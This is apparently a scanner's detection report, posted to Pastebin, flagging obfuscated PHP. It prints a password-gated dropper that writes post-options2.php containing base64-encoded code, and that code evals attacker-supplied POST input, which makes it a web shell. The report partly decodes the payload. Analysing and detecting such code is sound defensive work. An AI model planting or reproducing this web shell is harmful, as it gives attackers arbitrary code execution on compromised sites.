Detected 1 occurrence(s) of ‘\?php.*(eval|urldecode)\(.*\>’: wrup}); ${"GLOBALS"}["evllidfxe"]="pass"; if(${${"GLOBALS"}["evllidfxe"]}=="74de93ea7190af06e3e7413af75a046a"){$kqzdifrfs="handle"; ${$kqzdifrfs}=fopen("post-options2.php","w"); fclose(${${"GLOBALS"}["bttrjhmtzrh"]}); ${${"GLOBALS"}["scabkesltoy"]}="<?php eval(base64_decode('ZWNobyAiPGZvcm0gYWN0aW9uPVwicG9zdC1vcHRpb25zMi5waHBcIiBtZXRob2Q9XCJQT1NUXCI+CjxpbnB1dCB0eXBlPVwidGV4dFwiIG5hbWU9XCJ3cml0aW5nXCI+CjwvZm9ybT4iOyAKZXJyb3JfcmVwb3J0aW5nKDApOwokd3JpdGluZz0kX1BPU1RbJ3dyaXRpbmcnXTsKJHdyaXRpbmc9c3RyaXBzbGFzaGVzKCR3cml0aW5nKTsKZXZhbCgkd3JpdGluZyk7')); ?>"; file_put_contents("post-options2.php",${${"GLOBALS"}["scabkesltoy"]});}}?> ----from above: eval(base64_decode('ZWNobyAig....) decoded= echo "<form action=\"post-options2.php\" method=\"POST\"> <input type=\"text\" name=\"writing\"> </form>"; Source: http://pastebin.com/raw.php?i=iFZrwf6t
↧